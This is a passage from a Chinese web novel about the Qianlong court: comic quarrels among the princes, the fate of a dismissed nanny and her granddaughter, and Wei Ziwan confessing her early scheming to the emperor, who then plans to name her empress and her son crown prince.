一旁全程将这一切看在眼里的永瑢也默不作声松了口气,好在他没得罪过七弟,七弟坑起人来,好像也没手软过。 兄弟们其乐融融,有了受苦受难的人,其他兄弟感情就显得格外好。 永琮观察过几个兄弟的模样,没有一个对他和永璐有异样之色,皇阿玛和废后那日的谈话应该不会影响到额娘了,即便清楚以额娘现在的身份,以及他们多年兄弟情,他们应该不会生出别的心思,但事关额娘,他不得不谨慎。 看皇阿玛的意思,应该没打算册封继后了,让后位空悬,而宫权由皇贵妃执掌。 额娘往后就是后宫之主了。 永琮根本搞不清楚阿玛额娘到底怎么回事。 明摆着闹僵了,但皇阿玛还让额娘当了皇贵妃,而额娘跟皇阿玛不亲近了,也没见两人之间真闹了场大的。 爹娘的感情真复杂。 你说恨吧,又没恨个彻底,但你要说爱,也没到这个程度。 他隐约感觉到这不是他该掺和的事,从前他还担心皇阿玛会将额娘怎么样,可现在,这说不定是他们之间的闺房之乐吧。 永琮重重地叹了一口气。 但如果皇阿玛真的要欺负额娘,不管是不是闺房之乐,他也得护住额娘。 众皇子之中,永璇始终没有动静。 他今早遇到了一件不大好的事。 打小伺候在他身边的老嬷嬷被额娘送出宫了。 在意识到额娘对嬷嬷不怀好意时,他就让嬷嬷跟在他身边,寸步不离。 只是最近还是松懈了。 他看到额娘因为娴贵妃和嘉贵妃都晋升贵妃之位后将屋里能砸的都砸了,发泄完了以后泪流不止。 他头一次看到额娘在自己面前哭,心疼不已。 他知道额娘有多骄傲,也知道这贵妃之位本该是额娘的,甚至于额娘要是一直待在贵妃之位上,等皇后一被废,宫里最高位分的人就不只是魏娘娘,还有额娘。 额娘甚至能因为潜邸侧妃的身份,成为皇贵妃。 偏生差了这么点,所以如今成为皇贵妃的是魏娘娘,额娘居于妃位也就罢了,还看着过去不如她的宫妃越过她。 这是额娘最大的屈辱。 他尽自己所能安慰额娘,但恰恰好是在他最不设防的时候,额娘将嬷嬷送出宫了。 他无法相信。 第125章 第125章大长章 他无法相信自己的额娘已经成了这副模样,为了掌控子嗣,不惜将子嗣身边的可信之人全数排除。 可他还不能对额娘有任何怨言,他作为儿子不能忤逆额娘,哪怕自己至亲的嬷嬷离开自己,他都得认! 可是凭什么他只能将不满吞在肚子里,他甚至不知道嬷嬷被送出宫后会遭遇什么,嬷嬷身边本就没有多少亲人了,只有一个养在她弟弟身边的孙女,嬷嬷将他当作亲孙子看待,甚至都顾不上宫外的孙女,只求能一直陪在他身边,可是他却没能护住自己的至亲。 不管额娘认定他这种想法有多荒谬,他只知道从小到大陪在自己身边的是嬷嬷,额娘已经忘了当年他们龙凤胎身子弱,若非嬷嬷照顾他和妹妹,他们还未必活到现在,这是养恩。 可生恩这个债永远都还不清,永远摆在养恩之上。 嬷嬷照顾他的那段日子,在其他人眼中根本就不算养恩,毕竟嬷嬷只是一个奴才。 他要是早早到了年纪就好了,他要是能出宫,他就将嬷嬷接到皇子府上,他再不济也是个固山贝子。 永璇只觉得自己胸口喘不过气来,一种前所未有的重压压得自己想死都难。 他还不能出宫找嬷嬷,额娘受不住那等刺激,说她让那些人后来居上,她本就没脸活着了,要是他敢出宫找人,她就自残给他看。 额娘确实是疯了,受不住任何刺激的疯,一说起他要出宫就以一副要死要活的模样威胁他的疯。 他已经不知道怎么办了。 “八弟,你怎么了?”永琮倒是注意到自己这个兄弟始终不发话,不像是在意宫中位份之事的,反倒像是被别的不知名的事情压着。 “七哥,爷没事。”永璇摇了摇头,现在额娘派来的人时刻看着他,他甚至不能跟自己兄弟说说心里话,他还真怕额娘受刺激疯了。 也不知道眼下这情况是怎么回事,明明一切都该转好的,但一切都往他不想要去往的方向发展。 这可真是老天爷专门耍人玩了,还一而再再而三耍着他们这些兄弟玩,轮流的,无一幸免。 永璇脑袋沉沉,跟几个兄弟道别后就回到自己的院子里了。 永琮多看了他一眼,眉头蹙起,也跟着回屋了。 身后传来永璐后知后觉自己身上被蹭上鼻涕的惨叫声。 “永瑆,爷今天要是不教训得你叫爹喊娘,爷就不姓爱新觉罗氏!” “九哥,你干啥啊,你别追我啊,不是你让我趴着的吗,我又不是故意蹭你鼻涕,哥、哥,咱们打个商量,你别在这么多奴才面前打我行吗?上回我被永璇教训,我已经让他追了两趟了,哥!你饶你弟弟一命,来世我做牛做马报答你” 永瑆两只腿跑得飞快,偶尔回头一看,看到永璐阴恻恻拿着一砚台追在他后面要谋他性命的样子,吓得魂飞魄散,“哥,咱们行行好,你别害了你最亲爱的弟弟啊。” “最亲爱的弟弟?放心好了,我会在你躺在床上时承认你是我最亲爱的弟弟的,你别跑,你再跑我这辈子就得让你见识一下什么叫做真正的兄友弟恭。” 永璐无法想象自己看到周围的兄弟一副叹息却又蠢蠢欲动看好戏的表情时,有多兴奋,以为自己也能有好戏看,结果顺着其他兄弟的眼神,发现他们都在看着他,好像在等他做出反应。 他起初是不知道发生何事的,但看到自己衣裳下的鼻涕时,一瞬间想了很多事,他在想,如何狠狠揍了亲弟弟一顿,将他打得半死后如何在皇阿玛面前脱罪,如何让嘉贵妃娘娘明白她命中注定有此子无法活下来,只有夭折的命数。 有些人啊,就是天生欠揍。 一天不收拾就皮痒痒! “永瑆,你再跑跑试试看啊,你大爷的!” 看好戏的大爷本爷永璜愣了一下,对上其他兄弟调笑的表情,颇为大方笑道:“没事,就一个称呼,让永璐念去了也无妨。” 不过他心里却在琢磨,‘你大爷的’,这也能成为骂人的话?没听过,记下来,下次拿来骂别人。 永璋清了清嗓子,故作玄虚道:“你大爷的。” 永璜又愣了一下。 永珹挤眉弄眼,“你大爷的。” 永瑢被他扯了下衣袖,勉强配合,“你大爷的。” 永琪原本没感觉这话脏的,但是听着这些个兄弟开口,突然感觉到这话挺脏的,也面无表情道:“你大爷的。” 可恶,还他耳根清净啊,以后再也没法直视大哥了,你大爷的。 永璜反应过来了,原本的笑容收敛,他发现,自己这辈子之所以很少发脾气,是因为他人品贵重,不做这么蛮横无理的事情。 所以,一旦有人让 他动怒了,一定不是他的问题,只能说这些人太欠收拾了。 他皮笑肉不笑立马将永璋擒拿住,“再骂句试试看?!” 永璋仗着他不敢动手,而且大哥的模样真的太好玩啊,坏心眼一起,就“你大爷——”的。 结果话还没说完,就被大哥捂住嘴了。 往他嘴里塞了布,差点没将他憋死。 好在其他兄弟还是讲仁义的,帮他拦下大哥了。 永珹永琪永瑢:其实他们不想拦的,但想到大哥收拾完三哥以后很有可能来收拾他们,就不得不拦了。 …… 永琮回去阿哥所后,注意到永璇进屋后就再也没出来了,这天色这么好,永璇也不像是一天到晚待在屋里的性子。 他心情沉沉,“去打听看看咸福宫发生何事了?” 这些日子,也只有位份变动一事惹起众人心思泛动。 他不敢说永璇一定会受位份变动之事影响心情,但皇子阿哥总跟自己的生母利益一体,若是慧妃做了什么事让永璇心情沉闷,他毫不怀疑一定是慧妃的锅。 “是,七爷。” 半个时辰后,咸福宫那边的消息也算打探清楚了。 “七爷,慧妃娘娘似是大发雷霆,八贝子身边的老嬷嬷也不见人影了。” “原来是这么回事。”永琮叹气。 他倒是清楚那老嬷嬷对永璇有多重要,毕竟是打小跟在身边的奴才。 “去查查看老嬷嬷的踪影,别让慧妃发现。” 八弟迟迟没有动作,必然是顾及慧妃,他就不一样了,他跟慧妃一点关系都没有,想怎么做就怎么做。 …… 半个月后,永琮听闻奴才说人已经找到了。 他就出宫一趟,专门去见了面那老嬷嬷。 只是找到之后,老嬷嬷身边还跟着个跟永璇差不多年纪的姑娘,据说是老嬷嬷的孙女。 “八爷,奴才感激不尽——”想起自己最近发生的事,老嬷嬷抹了一把辛酸泪。 “少跟爷说废话,永璇看重你,你就在这里待着,过些时候,爷让你见永璇一面。” 永琮压根不愿理会这所谓的主仆情深,他也没经历过这种事,在他心里,额娘皇阿玛兄弟姐妹都排在这些奴才面前,他理会不了永璇的心情,但就一句话,是兄弟,顺手搭一把很正常。 他还想着数十年后,他们都满头白发了,也还能互相搀扶着笑着闹着。 只盼着那时候八弟还有力气揍十一弟。 感觉十一弟无论到了什么年纪,都是一副皮性子,不打不行。 “是。”老嬷嬷顿时收了胆子,不敢再妄言。 便是等七爷走后,她在这小小的屋里,才算得上是放心下来。 “玉英啊,你乖乖地,到时姥姥给你寻个好去处。” 玉英乖乖点头,紧紧依偎在姥姥身边。 老嬷嬷心里叹了口气,慧妃娘娘便是心狠了,将她送回她夫家,可她夫家已经没人了,丈夫儿子都没了,儿媳改嫁了,她只能任人欺负,她夫家的那些叔伯将她身上的银两都搜刮干净了。 还认定她是得罪宫里贵人了,更加无所忌惮欺负她。 她的亲弟弟听闻她被送出宫后,往年收着她银两帮忙照顾她孙女的好脸色也变了,变得无所忌惮,在短短半个月内就得知她身上银两全无,就打算将她孙女给卖了。 而她夫家的那些人听了闹起来,说她孙女是他们家的人,由不得他们这些外人处置。 她哪还看不明白,这是觉得卖她孙女的银子得归自己手上。 若非七爷及时找上门来,她估计早就带着孙女一头撞死了,或是投河自尽,也省得活得这样不明不白。 她知道她想亲近八爷的心思得罪慧妃娘娘了,可慧妃娘娘也不能这般心狠,她就算没有功劳也有苦劳,她照顾了八爷和四公主那么久了,慧妃娘娘眼里就只有她的罪过,而无功劳。 好在八爷有个好兄弟。 她重重叹了口气,好险好险。 她进宫多年,也算是让她给孙女博出一条生路了。 她摸着孙女枯黄粗糙的头发,再度重重叹了一口气。 …… 永璇得知自己的好七哥帮自己找到老嬷嬷时,那一刻的心情无法言语。 “哥,你没骗我?” “我没必要骗你。”永琮笑道,“出去宫外吧,估计慧妃娘娘再过不久就受到消息了,你也别觉得我多事,我不管这些事的,要不是看到你模样太过可怜。” “嗯嗯嗯——”永璇拼命点头,兴奋得一蹦三尺高,“哥,你真是我的好哥哥,永瑆那小子浑归浑,但他有句话还真没说错,七哥你就是天底下最好的哥哥,以后有谁敢说你不好,我就揍死他!” “哥,什么都不用说了,我赶紧出宫去,等我回来后我再好好跟你说说我的心里话。” 见永璇飞速准备出宫之事。 永琮摸了摸鼻子,“居然这么高兴,平日里也不见永璇有这么高兴的时候。” 看来那老嬷嬷当真很重要了,就跟奶娘差不多吧。 但他也没对他奶娘有多看重,毕竟是收了皇家银两的,收了钱就办事,想在他面前拿捏过去的喂奶之恩,还是荒谬了些。 永琮眼眸微沉,想起了某些不大好的旧事,一时间也没了等永璇回来的心情。 永璐过来找哥时,看到七哥好似心情不大好,也没敢在七哥面前耍宝,便偷摸出现在七哥身后,然后重重一拍,“哥,你想不想我?” “想什么?”永琮没被他吓住,他老早就看到这个弟弟偷偷摸摸的模样了,好像在做贼,一点都没有他的光明磊落。 “你别跟永瑆学来他那一身脾性,我就谢天谢地了,还想你?” 他冷哼一声。 永璐感觉事情荒谬起来了,他七哥居然会哼他,“哥!你该不会是跟人学坏了吧,哥,不要啊,你最好还是从前待弟弟温柔体贴的哥哥啊。” 温柔?体贴? 永琮听着这跟他八竿子打不着的形容,一时间有些迷茫,不大确定道:“你说的是爷?” “当然!”永璐拼命点头,“七哥你以前最是温柔了,对我最好了。” 永璐沉默了一下,可能是有那么一丢丢吧,但是在认识到自己兄弟不让人省心的本质后,他觉得温柔体贴都是无稽之谈。 “你就当昨日的我已经死了吧。” “哥!”永璐发出一声重重的哀嚎。 他是真的挺认真在给昨日的哥哥哭丧了。 哭得永琮由一开始的笑颜到最后的皮笑肉不笑,干脆一脚踢上他屁股,将他踢出自己院子,“去找永瑆哭,真是没完没了了。” “嗷。”永璐悲戚地摸上自己屁股,还没摸两下,就被一道重物落下的声音惊得抬头看了一眼。 只见永瑆左手拿着个砚台,右手拿着个石头,不对,石头已经掉到地上了。 正目瞪口呆看着他。 永璐还疑惑他怎么用这种眼神看自己。 便顺着他眼神落到自 己的手上——手上……? 永璐后知后觉自己的手还放在自己屁股上,顿时一蹦三尺高,不可思议看向永瑆,那一瞬间想杀人灭口。 永瑆拼命摇头,“九哥,我什么都没看到,我就是出来砸这该死的玩意,我眼瞎了,我什么都没看到。” 永珹听到外边有他同母弟弟的声音,赶紧出来看一眼,隔着院子喊道:“永瑆,发生什么事了?” 他这嗓子声音大,不出一会儿,其他兄弟也被叫出来了。 永璋郑重其事道:“让我看看是怎么个事呢。” 他趴在院墙上,看着永璐和永瑆在深情对视,不对,好像没有深情,他注意到永璐随手捡起一旁的棍子,抛了抛,似是在掂量棍子有多重。 他顿时意识到又有好戏看了,顿时眼睛蹭的一下亮了,要不是怕惊动九弟,惹得战火往自己身上蔓延,他这会儿真恨不得朗声大叫,兄弟们,快来看热闹了! 永琪其实不大爱看好戏的,但奈何他身边总是发生这等动荡之事,既然他们已经吵得他看不下书了,那他出来看看发生什么事也挺正常的吧。 这么想着,永琪又顺手拿了盘点心出来,还命奴才搬来几张椅子,稳稳坐下来吃着点心看着好戏。 永瑢喜欢坐享其成,他本就是懒散的性子,不一会儿功夫就坐到永琪身边了。 等着看“兄友弟恭”再次上演。 永璜则是赶紧吩咐奴才将他两个儿子带出去,这才慢悠悠准备趴在墙头,他喜欢热闹,尤其喜欢这等闹心兄弟的热闹。 永瑆在呆滞过后,猛地大叫,“七哥,我真的什么都没看到,我没看到你在打自己屁股!我也不知道原来你是喜欢打自己屁股的!” 这话从阿哥所内传到阿哥所外。 顿时所有人都得知九阿哥喜欢打自己屁股了。 屋里的永琮震惊极了,他这个弟弟什么时候喜欢打自己屁股了?他以前怎么没听说过自己弟弟有这个癖好?! 他一时间神色难言,回忆起过往他这个弟弟是不是也喜欢拍打别人屁股,仔细回想了一下,自己屁股没被他打过,因为九弟对他还是有那么一丝丝尊敬的。 但是他打过其他兄弟的屁股! ‘啊啊啊啊啊啊啊啊啊啊啊!’ 永琮心里惊声尖叫,后知后觉打的又不是自己屁股,他叫个啥,出去看热闹! 他立马收拾好自己,走出屋外,只见其他出现在墙角的兄弟脸色诡异,永珹已经尖叫起来了,“九弟,你在做什么?!” 哇,看来永瑆这次真的要脱一层皮了。 只见永璐将棍子丢下,黑着脸二话不说从抓着一柄木枪就去要人命了。 这次他不声不语,脸色阴沉似阎罗王。 但就是这不声不语让永珹也忍不住尖叫起来了,“永璐,你别打死他,你要打死他我就没法向额娘交代了,看在兄弟的份上,你将他打个半死就够了,咱们是兄弟,你别做出让自己追悔莫及的事。” 永璐仍是不发话,他心里回道,他最后悔的事情就是上回没送永瑆归西,这下好了,他在宫里宫外都不用混了。 有这些该死的混蛋的兄弟在,他的名声肯定一夜之间变坏,他这辈子、下辈子都无脸见人了。 他在所有人眼中会是个喜欢拍自己屁股的不要脸的混蛋! 或许在史书上会格外记着一句话,此子,喜拍臀,此间怪癖,前所未闻。 一想到这个,他就恨不得一头撞死。 只是他在被其他人笑死之前,永瑆必须要给他受死! “是啊,九哥,兄弟情深啊,咱们是兄弟啊,血浓于水啊!” 永瑆感觉自己三番四次被人追杀,腿上功夫已经练出来了,但是九哥他已经杀红了眼,就想着要他这条小命,再这样下去,他必然在今天之内考虑投胎转世了。 一年之后,他还是一个英雄好汉,只是不知道他还能不能从额娘肚子里出来了。 “娘啊——儿子不孝,下辈子再报答您!” 他哭着飙出泪来。 永珹目瞪口呆,也不求情了,反而琢磨道:“永瑆是怎么边跑边飙泪的,这功夫能耐啊,要是爷学去了,改日能不能在额娘手下逃过一劫。” 永瑢听了,悄无声息离他更远些了。 有些嫌弃四哥,都这么大个人了,居然还会被嘉贵妃威胁。 不像他,额娘想打他骂他,他皮厚得很,无动于衷。 永琪眉头微皱,神色诡异,觉得六弟也是半斤八两,一个三天不打上房揭瓦,一个性子懒散脸皮厚,两人有什么区别。 唉,摊上这些个兄弟,算他这辈子有福气了。 …… 永璇迫不及待出现在宫外。 这段日子,他额娘已经好转太多了,他不用再担心额娘总是想着伤害自己的事了。 为了防止额娘胡思乱想,他还将妹妹叫过来陪着额娘。 都是儿女,额娘总不能成天到晚盯着他,也该多陪陪妹妹了。 也就是趁这个空当,他出宫没人盯着。 他来到哲王府,见到嬷嬷,嬷嬷比以往憔悴太多了,身边还跟着一个姑娘,应该是嬷嬷说过的孙女了。 他重重叹气,知道她这半个月来并不好过。 嬷嬷情不自禁地哭了,“八爷啊,奴才总算见到您了。” 永璇束手无策,“嬷嬷,你这些日子过得怎么样?可还好,我总是怕你在外边过得不好,要是我知道你会被送出宫,我再怎么说都得帮你置办好宫外的去处。” “八爷,奴才很好,只是奴才孙女不好。”老嬷嬷眼中含泪,苦苦哀求。 “八爷啊,奴才这日子过得苦啊,奴才当年目睹这孩子的爹没了,现在回去夫家,那些人欺负奴才和奴才孙女啊,奴才要是去了无碍,但奴才孙女得活着,奴才答应过她爹了,她爹就她这个血脉,虽无法传宗接代,可奴才总归盼着能护住她这条命的,不盼她无忧无虑,但至少也能长到能嫁人的年纪,求八爷给我们祖孙一个去处吧。” 永璇叹了口气,“嬷嬷,爷可以收留她,只是这身份爷无法保障。” “只要八爷能收留她,您让奴才做什么都可以。” 老嬷嬷哭道,“八爷,奴才求您了,您就给她一口饭吃吧,以后福晋进门了,福晋怎么待她,她都能受得住。” 永璇茫然,他以为的一心待他的奴才会在看到他的时候,一心念着他。 可老嬷嬷只想着自己孙女,他不是不能接受这点,只是突然间反应过来,原来嬷嬷待他也不是真心实意,是奔着让他给她孙女一个去处而来的。 他听出嬷嬷的意思了,嬷嬷是打算让他收他孙女进屋。 只是他不愿将事情弄得这样麻烦,他就没觉得他那些兄弟屋里的妾室好过,但是这事是因他额娘而起的,若非如此,嬷嬷也不会跟她夫家人闹僵了。 老嬷嬷跪下来,摁着自己孙女磕头,“玉莹,快来跪拜八爷,以后您就好好伺候八爷。” “八爷,奴才什么都不求,只求您能给她一口饭吃就好。” “如你所愿吧。”永璇脸色冷了许多。 让嬷嬷跟自己回宫,这孙女也跟着一并进宫了。 他派人去跟皇额娘说一声,他房里人今后就多出一个王格格了。 魏紫菀听闻时还愣了一下,“永璇要收归一个格格?” 这话听来实在诡异,永琮都还没到收房里人的年纪,但跟永琮一个年纪的永璇就念着要收归房里人了,还是养育过自己的奴才的孙女。 “本宫记得那是汉人吧。” 婉妃点头,“伺候永璇的那个奴才,妾身记得是汉人,还是慧妃特地从宫外寻来的,没想到是存着这般心思。” 慧妃的动静虽不算大,但好些人都盯着慧妃,慧妃要是有了别的动作,别人虽说不是亲眼目睹发生了什么事,但推测前因后果,也不难推测出原因。 原以为慧妃是太过绝情要将人送走,现在看来,绝情是真,这奴才手伸得太长也是真的。 不管怎么样,让一个孤女入了皇子后院,并且有自己姥姥这层情分在,永璇说什么都不会亏待她。 “这世间没有无缘无故的好。”魏紫菀倒是觉得那嬷嬷做得也没错。 她固然可以不提自己孙女的事,只为了更好地笼络永璇,但是这节骨眼下,继续笼络感情也没用,因为慧妃是真的会动手的,不如趁着永璇心怀愧疚时,将自己孙女送进永璇房里。 一个没有依靠的女子一旦嫁人,即便嫁的那个人有良心,这日子也不好过,不如就进皇子后院赌一把,至少永璇是她看大的孩子,有良心,不会亏待她孙女。 退一万步来说,她孙女还有诞下皇孙的机会,至于慧妃,只要嬷嬷孙女在她这边过了身份,慧妃也不能随意拿捏自己儿子房中人吧。 错过这个机会,等下回,估计就是慧妃对她们祖孙二人动手的时候了,不如当断即断,即便让慧妃心生不满,但皇家这关已经过了,还怕什么。 “查明那汉女身份,若是家世清白,进了永璇房里也无碍。” “是,娘娘。”奴才点头退下。 婉妃还是存着几分不得劲,“娘娘您说,这人若是起初打着不好的算盘,待人的真心是不是也是假的?” “你何时将问题想得这样复杂了,不管是不是真心,凡事论迹不论心,论心无完人。” 魏紫菀耐心道:“你说本宫起初待你就一定真心吗,你那时可是潜邸老人,本宫不过是刚进宫的一个新人,本宫不怕你,但总觉得你会存着别的心思,本宫到底是新人,总是怕那些莫须有的想象中的手段。” 婉妃纠正道:“娘娘,您可不是新人,您可是初封就是妃位,这可是万岁爷给您的独一份殊遇。” 魏紫菀愣了一下,随她想起从前事,倒觉得皇上有几分好了,但也只是过去的记忆美化过了,她经历的忐忑不安和恨不得杀了自己和皇上的冲动也是真的。 她确确实实想过让皇帝给自己陪葬。 “都是过去的事了,你能说本宫现在待你是虚情假意吗?” 婉妃摇了摇头,“您待妾身是真,但您也待太多人真心了,所以妾身一度拿捏不准您这真心到底有多少,若是人人都有,是不是妾身始终在您心里没留下印象,是不是其他宫妃陪在您身边,也能得到您的真心。” 她纠结的也正是这点,她知道凡事论迹不论心的道理,但是让她做到这点,却比登天都难。 因为她是真心在乎皇贵妃的,她就越发没法接受自己只是寻常一人。 “本宫的真心可以分成很多份,但每一份都不一样,于儿女,本宫平生只有四个儿女,本宫对他们的是父母之爱,至于你和颖嫔,那就是另外的感情了,毕竟你们跟本宫都是一样的身份,是皇上宫妃,早些年,本宫待你们没有过多感情,本宫待这宫里的任何宫妃都没有感情,于这点上,本宫是一视同仁的。” 她顿了一下,“可是现在,本宫可以将这份感情叫做友人之情,本宫待你们,如同永琮待永璐,和静待和恪,说是朋友之情也不近乎对,本宫更想说是手足之情。” “对上皇太后和裕贵太妃,本宫一半是对长辈的敬重之情,一半是对两位娘娘的看重,”即是对当权者的追捧。 “还有这宫里待本宫忠心的奴才,本宫于她们也有一份情,本宫念着她们,想给她们一个好去处。宫外的娘家人,你能说本宫不念着他们吗?真心本就难以衡量,有就好,自己心里有数,也不会被其他事情蒙蔽了。” 婉妃由衷地笑了,“这辈子能听到娘娘的真心话,妾身不枉此生了。” 她真心实意道:“娘娘,若是有下辈子,妾身想当您真正的姐妹。” “那就是以后的事了,先过好这辈子再说吧。” 魏紫菀没敢说下辈子,她知道自己的去处,她的灵魂不归紫禁城,她要是有来世,必然回归现代,而婉妃是这个时代的人,就算转世投胎,也还是转世到这大清王朝里。 若是有来世,她是不愿再接近紫禁城的。 婉妃甘愿跟她而来,就随她吧。 婉妃笑了笑,笑容真切而温柔,“娘娘,妾身从未遇到过您这样的人。” 魏紫菀并不觉得自己有多特殊,“那你见过的人还是太少了,不用多想,你这性子一旦多想,很多事情都变了味道了。” “是。”婉妃点了点头,她起身,在回宫之前突然问了一句,“娘娘,妾身要是活久一点,是不是有机会被册封为贵妃,到时妾身有没有可能跟您合葬?” 魏紫菀笑道:“或许吧,都说别想着以后的事了,你的日子还长得很。” 说不定她都要婉妃给她送终。 她目送婉妃离开许久,突然起了去景阳宫的心思。 真心这种事,她很久没想过了。 因为一旦想起,就会想到皇上。 凡事论迹不论心,可对皇上而言,他女人太多了,多到随处可见,所以他对真心格外苛求,毕竟宫妃太多,就意味着能被他宠爱看重的,必然要对得起他这份看重。 魏紫菀在自己过往打扫的屋子里坐下了,以前见过的奴才都不见了,景阳宫里只见生面孔。 李祖德这个过往的景阳宫总管太监倒是唏嘘不已,“娘娘,奴才许久没过来这里了。” 魏紫菀极好说话,“那就在景阳宫里待久一点吧。” “是,主儿。” 魏紫菀坐在屋里许久,殿内放着许多书,她随手拿起一本,心里毫无波澜,她想了很多事,也好像什么都没想。 她身旁不知何时响起轻微的脚步声,她头没抬,也不想着规矩一事,“万岁爷,您来了啊。” “嗯。” 皇帝在她身旁坐下。 两人很久没有这样坐在一起了。 不知过了多久,魏紫菀道:“皇上,您想知道什么,妾身都告诉你。” 无论是一开始的存心算计,还是后来的十年相处。 因为她确实是不想当这个皇贵妃,皇上太过抬举她了。 “……”乾隆放轻声音,“朕不想知道了。” “可是妾身想说。” 魏紫菀不看他,冷声道:“妾身于你,是蓄意而为,即便是一开始的相遇,若说妾身没有一点算计,您现在相信吗?” 她没等他回答,“妾身都不相信自己了,您就当妾身这十年没有过一丝真心吧。妾身没爱过你,妾身怎么可能爱过你,妾身觉得好累啊。” 她想远离帝王,但是既然翻脸了,为何还让她当上皇贵妃,旁人都觉得这是至高无上的荣耀,可这是在束缚着她走向原身上辈子的路。 她抗拒生孩子也是怕生出十五皇子,她不想生下一个会跟自己亲生额娘反着来的皇子,即便这辈子事情不会像她想的那样发展。 因为这辈子她和皇上的感情是“真心”的,皇上会答应给她养孩子的权利。 “真心”这个词虽然说着很可笑,但是关键时候,人就是会被这种虚妄的事情打动。 即便有所猜测,但从她口中得知连起初的相遇都是假的,乾隆还是一瞬间起了极其荒谬的感觉。 “……你告诉朕为何?你说的话,朕一句都不信,你要是对朕有所求,你何不给你的家族、儿女求情,你甚至在当上皇贵妃后对朕说这些话,你就不怕朕恨上你吗?” 他觉得最为荒诞的是,她说着自己所言皆是真心话,却将达成目的后最容易得到的成果给丢了,她不在乎这些。 如果连寻常人可望不可即的东西,她都不求,那他还有什么能给她的。 如果连 皇贵妃的地位都不在意,那她也是不在意后位的。 他身为万万人之上的皇帝,到头来,也有他永远都无法得到的东西。 “妾身做过一个梦,是在遇到万岁爷之前的事了,万岁爷,您可还记得慧妃曾经找寻过她的影子。” “朕记得。” 乾隆记得过去十年的每一件事。 “妾身的梦中,并不如现在如意。” 魏紫菀淡然说来原身的前世,“慧妃找到了她的影子,是梦中的妾身,她将妾身推上高位,您也确实将妾身当作慧妃影子看待,慧妃去后,您既是看重妾身,也轻贱妾身,您待妾身毫无真心,妾身生下了好多孩子,还十分幸运成了天子之母,只是那时妾身已经逝世了,而您活着成了太上皇,新帝眼里没有妾身这个生母,只有他至亲的养母,您将妾身生下来的每一个孩子都给了旁人养,妾身觉得这个梦就是对妾身的警告。” “醒来后,妾身就想着能不能防止这个结局的重现,妾身觉得梦中那人过得好难受啊,为什么她要成为慧妃的影子,为何您会轻贱她,妾身是她,您说对吧?” 魏紫菀轻声问他,但不指望他的回答。 因为真正的原身已经没了,她也没心思为原身作主,毕竟两辈子都是不同的人了,皇帝也是不同的皇帝,但是她还是想将自己最初的心思告诉他。 不管真心实意,她将自己能说的都说了,往后余生,桥归桥路归路。 “您想让妾身真心待你,妾身在梦到那些事后,已经竭尽所能真心待你了,但妾身并不完全能做到,毕竟妾身并不能违抗自己真正的所思所想,您就看在妾身费尽心力但徒劳无功的份上,笑一笑,妾身也算是逗乐您了,能让您开心,是妾身的荣幸。” “妾身是想着算计过您,但除了一开始的算计,妾身往后就没再算计过您了,妾身曾经说过,想好好过日子,妾身确实盼着这一世安宁,快快活活过完这一生,也算自在如意,妾身觉得自己已经足够幸运了,比起其他不曾受过您看重的宫妃,妾身还能有什么遗憾。” 乾隆不知何时已泪流满面,这是极其荒谬的,天子怎么会流泪。 但眼前的画面让魏紫菀忍不住地心颤,“万岁爷,原来您也会哭吗?” “您是在为妾身哭吗?” “朕在想,朕怎么会舍得你难过。”乾隆握紧她的手,语气极度不甘,“可朕并非你梦中的朕,即便千般怨恨,你也不该从一开始就绝了朕的希望,你让朕如何是好?” “你怎么能因为一个梦就对朕断绝一切希望,梦中的朕怎么能这样对你,为何他要这样对你,为何他做的事要让朕承受苦果。” “没有理由,妾身也说不出理由。”如同帝王只是因为一个眼神就起了杀她的心思,她也能因为梦中事对皇帝毫无信心可言,因为人心不能由自己所控。 从一开始的相遇就决定他们一辈子都不能真心以待。 她也没指望过帝王真心,所以相应的,她也给不出帝王想要的真心。 “皇上,天色晚了,您该回去了。” 第126章 第126章更新来了 数日后,魏紫菀看到皇帝过来找她了。 开口便是:“紫菀,中宫之位不能空悬。” “万岁爷想让妾身当皇后?万岁爷,您不是在戏弄妾身?”魏紫菀听闻这话时,还是平白生了一股荒诞之感,她问道:“万岁爷,您不生气吗?” “你让朕怎么办,朕气也气过了,恨也恨过了。” 乾隆闭眼道:“朕还是离不得你,你便是对朕无情也好,百年后,你我合葬。” 他看着自己心爱的女人,一个天子的尊严被百般戏弄,即便会为她心痛,可为君者让他拉不下自己的脸面求着说要和好,况且他们之间,再无回旋之地了。 “万岁爷,你让永琮永璐他们怎么办?” 魏紫菀满目不解,“他们跟“嫡”字沾边,你觉得他们会相安无事吗?” 她不愿永琮永璐他们奔着皇位去,也是因为帝王寿命太长,万一有一日,兄弟俩熬不住,她的子孙后代都会被新帝压着一辈子喘不过气的。 “朕册封永琮为皇太子,谁也没法改变朕的心思,紫菀,你也别想,除非你能亲自废了自己孩子。” 乾隆语气淡淡,“这是迟早的事。” 不光是因为永琮是他和紫菀的孩子,永琮在众多皇子中也算是排得上前面的,永琪文武双全,但太过重情,永璜永璋永珹这三个孩子都太过重情。 重情之人当不了天子。 永瑢性子懒散,不喜上进,永璇是慧妃所出,他不喜。 永璐并非紫菀亲子,而永琮看似重情,但在众多子嗣中,永琮是最像他的,只对自己身边人重情,往后闯进他身边的人,都无一例外存了极大审视。 永瑆年纪过小,无法服众。 而永璂,过些时日,他会将永璂过继给宗室,作为废后之子,永璂不适合留在宫里了。 魏紫菀看着他,轻叹着气,“万岁爷,您都这样打算了,妾身还能拿您怎么办。” 就是她的命,也全在帝王掌控下。 “你看着朕就好,朕将一切事情摆平,不会让你难做的。” “好。”魏紫菀对百年后合葬之事仍旧有一种虚妄飘渺的错觉,但那是身后事,即便从前再难受,也都是以后的事情了。 皇帝决定将永琮封为皇太子,那今后不管是她有没有成为皇后,她迟早也会在百年后被封做皇后,跟皇帝合葬。 她还不如接下后位,让永琮皇太子的身份更为名正言顺,没有什么能比过去更糟糕了。 只是这样一来,婉妃和颖嫔的心愿便不会再实现了,不知她们会哭成什么样。 “皇上……?”皇帝突然握着她的手,她身子下意识抖了下,但又恢复平静。 皇帝眼里闪过一抹黯然,“朕来日再寻你说说话吧。” “好,万岁爷。”魏紫菀顿了许久,方才用另一只手将他的手覆盖上,对上皇帝陡然变亮的眼睛,她道:“万岁爷,妾身对您,仍是回不到从前了,只是,往后,若是作为夫妻相处,妾身只愿跟您做一对举案齐眉的夫妻,可好?” “好。”乾隆郑重其事。 这一回让他看见希望了,便不复从前暗沉,“朕想跟你相约到白首。” 魏紫菀看着他,“即便妾身不能再像从前待你,妾身身边还有儿女、友人、长辈,无论哪一个,都越不过皇上,但也不管哪一个,都不会被皇上越过,这样,您也能接受?” “能。”他咬字极轻,却重如千钧。 …… 